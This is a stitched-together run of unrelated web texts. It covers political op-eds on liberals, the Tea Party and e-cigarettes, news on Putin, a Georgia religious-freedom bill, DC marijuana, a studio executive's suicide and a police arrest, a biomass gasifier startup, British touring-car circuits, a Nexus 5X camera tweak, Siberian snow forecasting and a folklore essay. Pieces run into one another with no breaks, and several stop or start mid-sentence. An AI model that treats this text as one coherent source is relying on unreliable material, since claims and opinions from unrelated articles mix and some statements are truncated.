The danger for our society is a liberal mindset convinced of its own virtue a priori, and unwilling to contemplate different conclusions if presented with different facts. We used to call such people fanatics. Witness the controversies on university campuses, with students agitating against the right of speakers to present ideas with which they disagree, the ridicule conservatives face in popular culture, and the opposition Republicans routinely encounter on editorial pages and in nightly newscasts.
It is too easy in an increasingly heterogeneous society for an individual to grow up, be educated, and live their lives surrounded by others who affirm their political, religious, and cultural preferences. Many liberals genuinely find the experiences of gun-toting, church-attending, small government conservatives to be foreign. In years past, even when there was not agreement, at least familiarity bred respect. Too many liberals no longer feel the need or see the point in trying to persuade others, thinking the superiority of their positions to be self-evident. They are more in the business of shaming than converting.
The shifting lines of political correctness and accompanying indignation threaten not only conservatives, but also the legacy of past liberal icons like Presidents Wilson and Jackson, as well as more recent liberal heroes, as President Clinton had to defend his crime bill and welfare reforms on his wife’s campaign trail. (Imagine the liberal outrage when they discover Harriet Tubman’s attachment to the same guns and religion so famously derided by then Senator Obama!)
We Must All Learn to Win And Lose Graciously
Rather than simply sneering at their opponents, liberals will have to learn to respect them and truly welcome the open discourse and competing ideas they claim to champion. The splintered reaction to Brendan Eich’s “outing” two years ago evidences at least some self-awareness among the Left.
However, after winning a Supreme Court case decision recognizing gay marriage, the Left continues to bully bakers and photographers into participating in those weddings, rather than simply finding other more willing providers. The Left continues to try via Obamacare to force religious organizations to provide health care services that violate their sincerely held religious beliefs, rather than simply providing those services directly. The point seems less in procuring a cake or an abortifacient, and more in embarrassing the opposition.
Our kids have learned to shake hands with the opposing team, whether they have won or lost. They have learned today’s runner-ups can be tomorrow’s champions, as no team is likely to win every time. They have learned how to win and lose graciously; today’s liberals can learn a lot from these kids. Maybe the Left should have spent more time in Little League.Russian President Vladimir Putin has expressed concern over the spread of neo-Nazi ideology in Europe and called for efforts to prevent the revision of the outcome of the Second World War.
Updated 11:00 p.m. Moscow time.
MOSCOW, October 14 (RIA Novosti) - Russian President Vladimir Putin has expressed concern over the spread of neo-Nazi ideology in Europe and called for efforts to prevent the revision of the outcome of the Second World War.
"Unfortunately, the vaccine against the Nazi virus, developed at the Nuremberg trials, is losing its effectiveness in some European countries. A clear sign of this trend is open manifestations of neo-Nazism, which have become common in Latvia and other Baltic states," Putin said on the eve of his visit to Serbia on October 16.
"We are especially concerned in this respect about the situation in Ukraine, where an unconstitutional state coup in February was driven by nationalists and other radical groups," Putin said in an interview with Serbian newspaper Politika.
"Today, our common goal is to counter the glorification of Nazism, firmly counter attempts to revise the results of World War II and consequently fight any forms and manifestations of racism, xenophobia, aggressive nationalism and chauvinism," Putin stressed.
Talking about the events of World War II, Putin said that "our nations together cracked down on the criminal ideology of hatred towards the humanity".
"Today it is important that people in different countries and continents understand what horrible ramifications can be brought about by confidence in one's being exceptional, by attempts to achieve doubtful geopolitical aims as well as by neglect of basic human rights and morality. We must do everything to avoid such tragedies in the future," Putin added.
Putin also expressed gratitude to the people of Serbia for respecting the memory of Soviet soldiers, who fought with the People's Liberation Army of Yugoslavia (NOAYU) during the years of the war. He added that over 31,000 soldiers and officers of the Red Army were either killed, injured or gone missing on the territory of the former Yugoslavia. Besides, he mentioned that over 6,000 soldiers and officers fought against the invaders in the ranks of NOAYU.
Putin will pay a visit to Belgrade on October 16, where he will attend the 70-year anniversary of the liberation of the Serbian capital from Nazi invaders during World War II. He will also have talks with the president and prime minister of Serbia over political and economic cooperation.During World War II, amid a gasoline shortage, many European commuters had to improvise, often resorting to installing clunky power generators that converted wood into fuel for their engines. (Check out this rig!) But once fossil fuels were readily available again, these briefly popular machines were, for the most part, tossed into the dustbin of history.
Today, in a renovated former artists’ space in Berkeley, an alternative energy startup, has slowly begun resurrecting this more than century-old technology known as gasification. Over the course of five years, All Power Labs has sold over 500 made-to-order versions of their signature invention, a $27,000 refrigerator-sized biomass-converting device called the “Power Pallet.” Customers, most of whom reside in poorer countries like Ecuador, Haiti, Thailand and Nicaragua, obviously are drawn to the fact that the contraptions can generate clean burning fuel for about 10 cents per kilowatt hour, about one-sixth of what power companies typically charge. But that’s not the only perk.
Syngas, the synthetic fuel that’s produced from gasification, is created by putting biomass such as corn husks or wood chip through a decomposition process known as “pyrolysis,” where the combination of a low oxygen environment and heat removes impurities while leaving behind a byproduct known as biochar. A nutrient rich charcoal, biochar can be used as fertilizer to help grow trees, crops and many other kinds of plants that scrub carbon dioxide from the atmosphere. Technically speaking, the Power Pallet system may be the only carbon-negative energy technology on the market, meaning the entire gasification process removes more carbon dioxide than it generates.
“When you think about it, nature’s most tried and tested tool to take carbon out of the air is plants,” says Tom Price, the company’s sales director. “If you can grow a tree, you can capture a big chunk of what’s causing global warming.”
The company, made up of artists who occupied what was an artist space known as “The Shipyard,” can credit the city of Berkeley for inadvertently kickstarting their enterprise. A series of code violations left officials no choice but to shut down the facility’s electricity, thus forcing the residents to experiment with alternatives like solar, which didn’t work out so well due to higher costs. Gasification came about as an accidental discovery that began the day the company’s CEO Jim Mason found an old instruction manual and decided to piece one together using old plumbing parts. Since then, Price says the standard art has gone away and the new art has been about looking at ways to hack the global energy problem.
Since we’re talking about resurrecting old technology, many of the kinks that made gasification an unappealing option back then still exist. For instance, gasification machines require a large amount of water filtration, which leaves behind what Price calls a “toxic mess.”
“Solid fuel is very difficult to use compared to gas. You basically have to charcoalize biomass to create a vapor rich in hydrogen to run an engine, which isn’t as easy as piping it out of the ground and refining it,” Price explains. “So liquid fuels, in most cases, are preferable in all respects except one; they are killing the planet.”
Undeterred, the team tapped into the unwavering “maker spirit” that Silicon Valley’s tech scene has become renowned for and started testing out ways to apply the latest automation innovations, such as sensors and process computerization, to regulate parts of the reaction chain. The idea was that if they could control crucial aspects like the smoldering temperature and cracking of the tar with precision, they could eliminate the need for water filtration. Ultimately, what they did was give the old gasifier a high-tech makeover.
Over the phone, Price mentions that he recently sold a Power Pallet to a family living in a rural part of Iowa. Yet, he doesn’t think gasification would make sense for filling the need for energy in the developed world—not now at least. Pumping out hydrogen gas to the degree that it’s practical involves bringing in truckloads of wood and whatever usable forms of biomass are available. And in urban settings, like New York City, for instance, infrastructure is already built so that centralized power plants can supply electricity in a manner that’s convenient for everyone. Even so, Price finds this approach to be not only environmentally unfriendly, but also very inefficient, considering that communities have to rely on sources like coal and constantly-maintenanced power lines to keep buildings and streetlights running. The most fertile ground for developing and implementing a new, less centralized power grid system, he argues, are undeveloped regions of the world that have remained largely agricultural.
“We don’t have the automation to where you can push a button and it goes. This is machinery that requires a trained operator,” Price says.”But when you’re in a place in which the alternatives are either nothing or something very expensive, the effort becomes worth it.”
An example of a situation in which the company’s technology has enabled locals to operate a fully self-sustainable business can be found in Kampala, Uganda, where product engineer Richard Scott helped another local energy startup named Pamoja Cleantech to develop gasifiers that use leftover corn cobs as an energy source for corn flour mills. Instead of being left out to spoil, growers not only can turn the crops into cash, they can also turn the discarded bits back into fuel to run the mills.
With business booming, the All Power Labs team has shifted some of its focus toward developing new reactors that can run longer, with less maintenance, and use a wider variety of biomass, like rice husks, found in abundance in large swaths of farmland in Asia. He hopes that in five years these machines can make fuel from any form of biomass.
“No one’s trying to pass this off as a new idea. Heck, there’s even open source blueprints on our website that you can download and use to build your own,” he adds. “But sometimes, the best ideas are the ones we already had.”Wednesday on ABC’s World News, President Donald Trump pointed out to host David Muir that the media do not cover the March for Life, the annual pro-life demonstration in Washington, D.C.
Partial transcript as follows:
MUIR: Could you hear the voices from the women’s march here in Washington? We know there were more than a million people who turned out, and and you are their president now too.
TRUMP: It’s true.
MUIR: Could you hear them?
TRUMP: I couldn’t hear them. The crowds were large, but you will have a large crowd on Friday, too, which is mostly pro-life people, too, and I didn’t realize this, but I was told. You will have a very large crowd of people–as large or larger. Some people said it will be larger–pro-life people, and they say the press doesn’t cover them.
MUIR: I don’t want to compare crowd sizes again.
TRUMP: What you do say is that the press doesn’t cover them.It seems that Tea Partiers' recent political victories may have gone to their heads faster than bubbles in a glass of champagne. Flush from this electoral success, the Tea Party movement is turning its attention to the Constitution with renewed fervor. The result has been some proposals that are at turns wacky, unwise, and even dangerous to our constitutional values.
The Tea Party's sights appear to be set on constitutional amendments ratified after the Civil War. Rand Paul, recent winner of Kentucky's Republican senatorial primary, and Rep. Duncan Hunter of San Diego have called for repeal of the 14th Amendment's guarantee of citizenship at birth for all children born in the United States--not to mention Paul's much-publicized criticism of the Civil Rights Act, legislation passed pursuant to the power given to Congress by the 14th Amendment to enforce its guarantees of equal protection, due process of law, and the rights of citizenship. Sharron Angle, the Tea Party-endorsed candidate who appears poised to win today's Republican senatorial race in Nevada, has called for repeal of the 16th Amendment, which allows for a federal progressive income tax. And many Tea Party activists are pushing for repeal of the 17th Amendment, which shifted the selection of U.S. Senators from state legislatures to the state's voters.
To repeal these hard-won parts of our Constitution would be pure folly. The constitutional changes made in the aftermath of the Civil War and the abolition of slavery wrote into the Constitution the promises of equality made in the Declaration of Independence, and gave the federal government the power to ensure that these promises were kept. The pursuit of equality and greater democracy in the 14th and 15th Amendments--the 15th Amendment secured the right to vote free from racial discrimination--continued in the 16th Amendment, which corrected a Supreme Court ruling that allowed wage income of poorer day laborers to be subject to federal tax but exempted dividend and rental income of the wealthy, and the 17th Amendment, which provided for direct election of U.S. Senators to give more power to the people and lessen the influence of corporate interests.
To be sure, all of these amendments shifted some power from the states to Washington. But is that a bad thing? Tea Partiers appear to assume that when it comes to government, the more local the better. History tells us that this is not always so--certainly the federal government was honoring rather than denigrating our constitutional values when it finally stepped in to stop systematic racial discrimination in the South. The Constitution, as amended, maintains our vibrant federalism, with state and local governments continuing to make decisions that reflect the particular preferences of their communities. But our amended Constitution sets a national minimum guarantee of fundamental rights like liberty and equality. States may decide to give even greater protection to these rights, but if they give less, the federal government may step in.
Perhaps even more than the Tea Party's challenges to the federalism changes ushered in by the post-Civil War constitutional amendments, Tea Party opposition to the 14th Amendment's promise of equal citizenship deserves close scrutiny. The objections to the Constitution's guarantee of equal citizenship raised by Tea Party darlings like Rand Paul and Congressman Hunter have included justifications both odd and outrageous. There is Paul's suggestion that the 14th Amendment's guarantee that "All persons born or naturalized in the United States and subject to the jurisdiction thereof, are citizens of the United States" is simply a ploy by the Democratic Party to grant citizenship to the children of Mexican immigrants to get votes. Then there is Congressman Hunter's claim that the "souls" of children of undocumented immigrants are not "American" enough to qualify them for citizenship at birth. But the citizenship clause of the 14th Amendment was added to the Constitution in 1868 to ensure that regardless of the origins of one's parents--whether they were slave or free, poor or rich, welcomed ancestors or shunned immigrants--American citizenship would be based on the objective measure of place of birth, not blood line or the state of one's soul.
It is encouraging that so many Americans are now discussing and debating the Constitution. It is, after all, the People's document. But before Tea Party repeal efforts gather steam, "We the People" should take a sober look at the text, history, and principles behind the amendments the Tea Party would like to do away with. Amending the Constitution is not an easy task, and generations of Americans poured blood, sweat, and treasure into adopting the amendments that Tea Party activists would now like to repeal.McKoon is the registered agent for Chaplain Paul Voorhees Ministries Inc. Voorhees is in the center. (Photo via Facebook)
One of the main sticking points in the fight over state Sen. Josh McKoon’s (R-Columbus) so-called “religious freedom” bill is the concern that it would open up the door to more LGBT discrimination. McKoon has sworn that it will not, but new information has surfaced showing ties between McKoon and an anti-LGBT ministry based in Columbus.
McKoon is listed as the registered agent for Chaplain Paul Voorhees Ministries, Inc. Voorhees, the host of “Ranger Joe’s God & Country” radio show in Columbus, routinely posts racist and homophobic messages on his Facebook page, including an image of him with fellow speakers at a north Georgia college holding homophobic signs, another image of a heterosexual couple holding hands with the words “Straight Pride” and Voorhees commenting “gay life is like an acting role with a used barf bag,” and an image of the atomic bomb that the United States dropped over the Japanese city of Nagasaki in 1945 with Voorhees calling the victims “rice krispies.”
In other posts, Voorhees appears to compare an African-American looter to President Obama and posts an image showing the Devil supporting same-sex marriage.
McKoon was the one who filed the paper work with the Secretary of State’s office to form the nonprofit corporation in 2011 for Voorhees. As the registered agent of the ministry, McKoon represented it in all legal matters. However, for three years the ministry never paid the annual fees to the state to keep it as an active corporation.
The latest entity status date for the ministry was February 2, 2014 and it showed the corporation was to be dissolved. Voorhees has set up a new corporation, Chaplain Paul Voorhees Ministry, Inc., that became active in April 2014 and lists a different registered agent, Robert S. Poydasheff. Poydasheff, a former mayor of Columbus, Georgia, endorsed McKoon for the state Senate in 2010.
McKoon, who did not return a message left for comment Monday evening, and Lt. Governor Casey Cagle invited Voorhees to the Georgia State Capitol to be the chaplain of the day in 2011.
“I am proud to have introduced him to my colleagues, and his poignant words reminded me of the challenging, yet rewarding, days we have ahead of us,” McKoon said on the day Voorhees came to the Capitol. Voorhees was also chaplain of the day in 2012, but it is not clear if he was invited by McKoon.
Muscogee County public records also show that Voorhees is McKoon’s landlord. And the two served on the steering committee of the Georgia chapter of the Campaign to Fix The Debt, an economic group run by fiscal conservative billionaire Pete Peterson that aims to scale back social programs like Medicare, Medicaid and Social Security.
Subcommittee hearing on SB 129 scheduled for March 24
This latest news comes as McKoon prepares for a special subcommittee hearing of the House Judiciary Committee on SB 129 taking place March 24. The committee is composed of four Democrats and four Republicans, plus committee chairman Rep. Wendell Willard (R-Sandy Springs).
Take note that although it doesn’t appear a vote will be taken at the hearing, the AJC reports that former Georgia attorney general Mike Bowers is expected to testify against the bill. For what it’s worth, Bowers and Willard are childhood friends as Bowers noted in a February 24 press conference, and Willard is a co-sponsor on lesbian state Rep. Karla Drenner’s (D-Avondale Estates) Fair Employment Practices Act. Although Drenner’s bill didn’t make it through Crossover Day, she says it’s not dead yet.
One of the factors leading to SB 129’s latest troubles include McKoon’s inability to make a convincing argument that the bill won’t be used to discriminate. The latest nod to that trend came from former state Rep. Edward Lindsey (R-Atlanta), who wrote a March 20 op-ed in the Peach Pundit calling on McKoon to include language that will keep the bill from permitting discrimination and child abuse.
The Augusta Chronicle’s editorial board came out against the bill on March 20, and most importantly, House Speaker David Ralston has been vocal about his concerns. It hasn’t helped McKoon’s case when leaders speaking out in favor of the bill, like Bishop Wellington Boone of The Father’s House, stand in the Capitol rotunda and say, “I know that LGBT is [sic] putting pressure on you. I know that their lobbyists are out there. Lobbyists? They are politicians! How can they put pressure on you when they don’t even know what gender they are? You gays won’t stand before God—how can we let you stand before us? You say that you have a civil rights struggle—that you are denied your rights. You say you go through the same thing as blacks? You’ve got another thing coming!”
McKoon pessimistic about his bill’s chances
McKoon, for one, is pessimistic about his bill’s chances, as he told the Marietta Daily Journal’s Ricky Leroux.
“Tuesday is the 35th legislative day, so it doesn’t leave us very much time to move the bill out of the subcommittee to the full committee, to (the) House Rules (Committee) and then to the floor,” he said.
We’re hearing similar thoughts from sources at the Capitol, who doubt the bill has enough time left in the session.
However, opponents of the bill haven’t backed down, |
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3 ~ 4 ~ 4 5 + $4.93 $4.78 looking for more?The tobacco enema was used in the 1750s – 1810s to infuse tobacco smoke into a patient’s rectum for various medical purposes, primarily the resuscitation of drowning victims. A rectal tube inserted into the anus was connected to a fumigator and bellows that forced the smoke towards the rectum. The warmth of the smoke was thought to promote respiration, but doubts about the credibility of tobacco enemas led to the popular phrase “blow smoke up one’s ass.”
While this device has been largely discredited by the medical profession it has been put to very effective use by modern day politicians.
The Tobacco Smoke Enema has been in continuous use for over 260 years. While the primary users are currently (and likely to remain) politicians, unscrupulous CEOs, religious charlatans, used car salesmen, bankers, telemarketers and other rogues continue to put it to good use whenever the need arises to blow smoke up the public’s collective ass.
Related posts:Pedestrians pass by a DC Cannabis Campaign sign in Washington in this November 4, 2014 file photograph. REUTERS/Gary Cameron/Files
By Ian Simpson
WASHINGTON (Reuters) - A planned District of Columbia city council hearing on legal marijuana sales was reduced to a discussion on Monday because of fears the hearing could be illegal.
The hearing was intended to get public comment on a bill that would make recreational marijuana legal in the U.S. capital and regulate sales like alcohol. District voters overwhelmingly approved a ballot initiative last year legalizing marijuana.
But District Attorney General Karl Racine warned the council not to go ahead because Congress had used a spending bill last year to bar the city from spending any money to ease its marijuana laws, a spokesman for Racine said.
The hearing by the city's finance, judiciary and business panels instead became a "roundtable discussion" to hear points of view, Business Committee Chairman Vincent Orange said.
Council members and backers defended the bill as a way to assert Washington's independence from congressional meddling, generate tax revenue and end injustice stemming from prohibition of marijuana.
"What I'm trying to do is trying to take a new approach to this old problem," Council member David Grosso said.
The Marijuana Legalization and Regulation Act of 2015 would let the city join the states of Washington and Colorado in allowing the sale of marijuana for recreational use by adults.
It sets out rules for the sale and taxing of marijuana, with the District's liquor board overseeing regulation.
Testimony was largely in favor of regulated sales, with supporters calling for a lower tax rate to keep the price of legal pot competitive with black market product.
Opponents criticized the law as opening young people up to drug use. Kimberly Hartke, with Parents Opposed to Pot, said the District would become a drug magnet for teenagers from neighboring Maryland and Virginia.
Congress has oversight of the District, and a congressional review period for Initiative 71 runs out at the end of February.
Council Chairman Phil Mendelson has said that by March the city would begin to treat Initiative 71 as law, which would in effect legalize possession without any way to buy pot legally.
The city now has one of the lightest U.S. penalties for pot possession. Marijuana possession remains illegal under federal law, but the Obama administration's Justice Department has generally taken a hands-off approach in states where its sale is properly regulated.
(Editing by Eric Walsh)The 2016 BTCC calendar will once again see the same circuits feature in the same order for the fifth year in succession. Why? Simple – if it ain’t broke, don’t fix it.
However, with silly season now in full swing, instead of focusing on who will be driving, for whom, and in what (although we will get to that, we promise), why not have a bit of fun ourselves and have a look at where we’d like to see the BTCC go in the future.
Obviously all of these choices have been made with a rather large pinch of salt, but should any of them ever happen, I can think of at least one person who would be booking his tickets at the earliest opportunity…
Rockingham Oval
As stated above, this list is a bit of fun, and what’s more fun than letting 32 BTCC drivers loose on a 200mph oval? OK so you won’t be seeing a VW CC or an MG6 blasting through Turn 4 at the same speeds seen by Tony Kanaan en route to the lap record in 2001 (a blistering 24.719 seconds at an average of 215.397mph in his ChampCar), but a race on the oval could see some interesting new techniques for the drivers to master.
Before I delve any deeper, I must admit that I am a NASCAR fan, so the idea of cars “going around in circles” doesn’t phase me in the slightest, and having been to almost every ASCAR/SCSA/Days of Thunder race held at Rockingham between 2001 and 2006, I know that Rockingham can bring up some fantastic racing.
Jason Plato has experience of the 1.479 mile oval, having contested a full ASCAR season during his BTCC sabbatical in 2002, finishing 3rd in the championship behind champion Nicolas Minassian and Kelvin Burt. Plato wasn’t the only BTCC driver to compete that year, with future SEAT team-mate Darren Turner winning six races along the year and even Matt Neal joining the fray at the season finale, ironically as Plato’s team-mate racing for Bintcliffe Sport ASCAR, run by 1997 BTCC Audi driver John Bintcliffe.
Silverstone Grand Prix
A little bit more likely that an oval race would be for the BTCC to return to the full Silverstone layout for the first time since 1996.
Obviously Silverstone has changed a lot in the last 20 years, with one of the greatest corners in all of British motorsport, Bridge, no longer a part of the circuit that has hosted the British Grand Prix for over 60 years. Despite that, there is still the challenge of the fast Maggots and Becketts complex, alongside the newer tight and twisty “Arena” portion of the circuit. The full circuit has been used for touring car races in recent years, with the Super Touring Car Challenge competing on the Grand Prix circuit each year at the Silverstone Classic.
Clocking in at an extra two miles in length than the National circuit, currently used by the BTCC, with an additional 12 corners to get to grips with, a switch to the GP circuit would completely change the nature of the racing at Silverstone, most notably by severely reducing the number of laps contested – unless of course it was an endurance style race with pitstops… but that’s another suggestion for another day.
Pembrey
It’s been almost 25 years since the BTCC last visited Wales, with most Welsh BTCC fans having to settle for Oulton Park as their “local” race, and even that’s quite a trek (trust me, I know), so it seems only fitting that at least one Welsh circuit was included on this list. With only a handful to choose from, the “Home of Welsh Motorsport” was the choice, beating off Anglesey and the Circuit of Wales – should it ever actually get built.
Should Pembrey ever return, you’d have to think West Surrey Racing would go in to the weekend full of confidence, with BMW holding a 100% win record in the two BTCC events held at the circuit in 1992, won by Tim Harvey, and 1993, won by Joachim Winkelhock.
Now largely used as a test venue, the last major event held there was British Formula Three in 1999, where the winner was a 19-year-old called Jenson Button…
Dundrod Circuit
Street circuits always seem to turn heads, and whenever anyone mentions street circuits in the BTCC there’s only one that springs to mind – Birmingham. However, I’d like to break from tradition and bring in the form of motor racing that I am equally enthusiastic for – motorcycle road racing.
The Dundrod Circuit – home of the Ulster Grand Prix – would be my choice of venue. I know it’s not the 37.73 mile beast that the Isle of Man is, but Dundrod is just as impressive. Known as the World’s Fastest Road Race, the lap record currently sits at a blistering average speed of 133.977mph around the 7.4 mile loop in County Antrim, Northern Ireland, set by Bruce Anstey.
Home of the RAC Tourist Trophy for Sportscars between 1950 and 1955, as well as the non-championship Formula One Ulster Trophy from 1950 to 1953, the circuit has some history with cars, and seeing the likes of Honda Civics, BMW 1-Series and Mercedes A-Classes going to war would certainly turn some heads.
Hockenheim
Some top level series in Britain these days have adopted the idea of an “away day” meeting, with the British GT Championship visiting Spa, while the British Superbike Championship heads over to Assen once a year, so what if the BTCC joined the party?
The choice of circuits is endless, with many potential venues putting up good arguments. There’s Monza with the iconic Parabolica, which very nearly got the nod in this list, or there’s the Nurburgring, Zandvoort, Imola etc…
But for me it has to be Hockenheim. For some reason I just love the circuit, and the stadium section would be brilliant if it came down to a last lap duel between Jason Plato and Matt Neal for the win. Even if the event only ran the shortest layout of the circuit, it would still be an interesting prospect to see how Britain’s top motorsport series would be received on the continent.On Jan. 11, 1964, the Surgeon General's Advisory Committee on Smoking and Health released its very first report on tobacco smoking.
Based on scientific evidence consisting of over 7,000 articles relating to smoking and disease, the report cited tobacco smoking as a major cause of lung and laryngeal cancer and chronic bronchitis.
The report launched a "war on smoking" that soon required health warnings on cigarette packages and bans on broadcast cigarette commercials, and by recent years had led to bans on smoking in certain areas, with numerous laws and regulations in between.
Over this half-century of cigarette regulation, two facts have been impressed upon the nation: 1) smoking tobacco kills people; 2) once a person is addicted to smoking cigarettes, or, rather, to the nicotine one ingests by smoking cigarettes, it is very hard for a person to quit.
So when an invention came along - e-cigarettes - that supply nicotine in much the same way as a tobacco cigarette, but without any apparent link to cancer or lung disease, there were many cheers.
Finally there was a product that could help those who were addicted and for whom the available anti-smoking aids had not been of sufficient help.
Lives could be saved. People could replace their tobacco cigarettes with e-cigarettes; switch out smoke and carcinogens with water vapor and the horrible smell with no smell at all - or the light scent of a chosen flavor, such as mint or strawberry.
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Lives could be saved.
One would expect the response of the public health community to be a near-universal "hurrah" - and in some quarters, it has been.
But for those who appear to be addicted to regulation, and not to public health, e-cigarettes provide an unwelcome challenge.
How do they go about banning access to a product that saves lives? And what do they say when people, quite reasonably, ask, "why do you want to"? For many of these regulators, the answer is as "what if." "What if" vaping - inhaling water vapor through an e-cigarette - turns out to be harmful? "What if" people who vape decide to start smoking, because they first vaped? It is on the basis of these "what ifs" - however unlikely - that some support bans on the sale of e-cigarettes, or grossly high taxes on e-cigarettes, or outright bans on the use of e-cigarettes in public.
But such policies mean nicotine addicts will be less likely to use e-cigarettes, and relatively more likely to keep smoking tobacco. The obvious and predictable result is relatively more tobacco smoking and thus, more illness and death.
The director of the FDA's Center for Tobacco Products, Mitch Zeller, J.D., made the key point clear in an interview with the Robert Wood Johnson Foundation's New Public Health: "People are smoking for the nicotine, but dying from the tar." He says e-cigarette regulation should take into account the "continuum of risk: that there are different nicotine-containing and nicotine-delivering products that pose different levels of risk to the individual," and regulate accordingly.
Which means America should not treat e-cigarettes and vaping just like tobacco smoking and smoking, because smoking is far more dangerous than vaping.
In fact, because vaping can cause people to voluntarily stop smoking, a carefully-crafted regulatory policy that steers Americans from smoking toward vaping as a replacement provides "an extraordinary public health opportunity." Mitch Zeller makes a lot of sense. By contrast, regulation zealots, such as those in Michigan who in January lobbied against a state-level bill banning the sale of e-cigarettes to minors because it did not treat e-cigarettes the same as the far, far more dangerous tobacco cigarettes, are an enemy of public health.
Smoking kills. Vaping is a safer alternative, and our nation's regulatory policy will save lives if it reflects this fact.
Amy Ridenour is chairman of the National Center for Public Policy Research in Washington, DC.Every photography enthusiast understands how important Electronic Image Stabilization can be for the perfect picture. The Huawei Nexus 6P and the LG Nexus 5X both come with the same camera hardware, but the latter does not come with this neat feature. If you are disappointed to not find Electronic Image Stabilization on Nexus 5X, don’t be disheartened just yet. Some users have found out a way to unlock EIS on Nexus 5X by simply editing the build.prop file from the root directory.
Obviously, in order to access the root directory, you will need to root your Nexus 5X. To root your Nexus 5X, you can follow our step-by-step rooting guide. You can also download a free root enabled file manager like ES File Explorer from the Google Play Store.
Step 1: Modify the build.prop file
Once you have downloaded your preferred root-enabled file manager, open it and grant it Superuser permission. Go ahead and navigate to the root partition of your device, which is the highest folder in the folder tree. From the root directory, access the “System” folder and make sure that the directory is mounted as read/write (Mount R/W).
QUICK NOTE: Free firmware downloads are made possible thanks in part to your generous donations! If you wish to contribute and support our efforts, please click here.
Scroll down to the bottom of the folder to find a file named “build.prop” and long-press it. On the “Options” menu that appears, press “Open with” and then select “Text Editor” from the pop-up window.
Once you have the “build.prop” file open in the text editor, scroll down to the bottom of the list and press enter on the keyboard. In order to unlock Electronic Image Stabilization on Nexus 5X, you have to insert this line of code into the file:
persist.camera.eis.enable=1
Once you have entered the code line mentioned above, press the menu button and save the changes you have made. Restart your Android device once you have saved the file and exited the file manager app.
Step 2: Enable Electronic Image Stabilization on Nexus 5X
Once you have edited the build.prop file and rebooted the device, it is time to fire up EIS feature. Head over to the stock Camera app on your Nexus 5X and head over to the “Settings” tab. Press “Resolution & quality” and enable the toggle switch next to “Enable video stabilization”.
Your Nexus 5X will now be able to make the most out of EIS and keep all those shaky pictures away. Have you already unlocked Electronic Image Stabilization on Nexus 5X, or do you need more reasons to unlock your Android? Let us know your thoughts in the comments below.David Thornton, an executive at Paramount Pictures, was found dead this week in what the L.A. County Coroner’s office says was an “apparent suicide.” He was 60. Thornton was SVP Licensing Operations had worked at the studio since 1998.
His body was found Wednesday by passersby on River Tree Lane near his home in Valencia. Thornton died from a gunshot wound to the head, Sheriff’s detectives said a handgun was found nearby. The Coroner’s Office said he died Wednesday.
“David was passionate about his work, his colleagues and being part of Paramount,” a spokesperson for the studio said. “We are saddened by his passing and offer our condolences to his family.”
A graduate of Pomona College, he’d been an Executive VP at the Landmark Entertainment Group before joining Paramount. He also served as a guest lecturer at the California Institute of the Arts, which he described as “very rewarding.”Judah Cohen
In short, Cohen relates the amount of snow cover and its rate of advance in Siberia in October to temperatures during winter in North America. The more snow in Siberia and the faster it increases he suggests, the colder it’s likely to be in the eastern U.S. This October, snow came down fast and furious in Siberia and, thus, Cohen is bullish about a harsh winter for the eastern U.S.
Related 2011 articles: Siberian snowfall may help improve U.S. weather forecasts, meteorologist says | The Siberia to East Coast snow connection
Seeking more details about Cohen’s methods and forecast for this winter, we presented him with 7 questions which he graciously answered below.
Capital Weather Gang (CWG): Can you briefly summarize the relationship between Siberian snow cover in October and the winter outlook in eastern North America? Is it the total amount of Siberian snow cover that matters or the speed of the advance, or some combination?
Cohen: My colleagues, at AER and at selected universities, and I have found a robust relationship between two October Eurasian snow indices and the large-scale winter hemispheric circulation pattern known as the North Atlantic or Arctic Oscillation pattern (N/AO).
The N/AO is more highly correlated with or explains the highest variance of winter temperatures in eastern North America, Europe and East Asia than any other single or combination of atmospheric or coupled ocean-atmosphere patterns that we know of. Therefore, if we can predict the winter N/AO (whether it will be negative or positive) that provides the best chance for a successful winter temperature forecast in North America but certainly does not guarantee it.
[Of the two indices we’ve analyzed], the first and longer [more data points] index is simply the monthly mean snow cover extent (SCE) for the entire month [of October] as measured from satellites. This record dates back to at least 1972 and is available on the Rutger’s Global Snow Lab website.
The second index that we developed last year, with the support of NSF and NOAA grants, measures the daily rate of change of Eurasian snow cover extent also during the entire month of October, which we refer to as the Snow Advance Index or SAI.
One important difference between the two indices is that the original SCE index is not sensitive to the time of snowfall or snow cover advance during October in contrast to the SAI where snow cover at the end of the month contributes to higher values of the SAI than snow cover advance at the beginning of the month. This SAI does have the disadvantage |
and arms hung down on one side, and her legs on the other. Next morning, when he entered the town, the soldier related his adventure and showed the hair on his arm. The people at first would not believe him, but went and opened the coffin, and there found the body lying without hair (“Wild Hunt folktale from the Netherlands”, Thorpe, 1852, p.218-219).
Transitioning from hunter to herder invariably involves a symbolic transformation in respect to food animals. Whereas the hunter regards the prey with a measure of respect, and awareness of its sacrifice, herder mythology tends towards to commodification of the herd animal. It is a resource, not an honored brother or sister. At its core, The Wild Hunt is about furious pursuit and competition between man and nature. In the American West, folktales about Ghost Riders and their spectral herds are far removed from this symbolism. As the Story of Stampede Mesa exemplifies, the ghost rider and his stampeding cattle are re-enacting frontier justice eternally in retribution for a violation of the social norms of cattle-herding, and we even see the amalgamation of the Christian theology of condemnation to Hell if one does not reform their ways consistent with the social order of the time. The symbolic references of the Ghost Riders have more in common with Herme’s theft of the Cattle of the Sun from Apollo than with Odin’s Hunt. While the Wild Hunt is indiscriminate, simply sweeping up souls that are foolish enough to cross its path, the Ghost Rider traditions are about vengeance or punishment for wrongdoing.
Whether the Ghost Riders are a re-enactment of the Wild Hunt or not, if you happen to be travelling in the American West, see the storm rolling in, and here the cries of “Yipie i-oh, yipie i-ay!”, get out of their path, and consider reforming your ways, cowboy.
REFERENCES
Berk, Ari & Spytma, William. “Penance, Power, and Pursuit: On the Trail of the Wild Hunt”. Realms of Fantasy Magazine, 2002.
Colshorn, Carl & Colshorn, Theodor. Der wilde Jäger, Märchen und Sagen aus Hannover. Hannover, 1854.
Dobie, J. Frank. “Folklore of the Southwest”. Chronicles of Oklahoma 2:3 (September), 1923.
Harris, Marvin. The Rise of Anthropological Theory. New York: Crowell & Company, 1968.
Thorpe, Benjamin. Northern Mythology, Comprising the Principal Popular Traditions and Superstitions of Scandinavia, North Germany, and the Netherlands, vol. 3. London: Edward Lumley, 1852.
Turgot, A.R.J. Plan de Deux Discours sur l’Historie Universelle. Original 1750. Translation, 1844.Officer William Ruscoe has been arrested for alleged contact with two teenage members of the police explorers program.
Connecticut state police have arrested a 20-year police veteran who is accused of sexually assaulting a member of his department's youth program and sharing inappropriate texts with another.
Trumbull police said William Ruscoe, 44, has been suspended from duty.
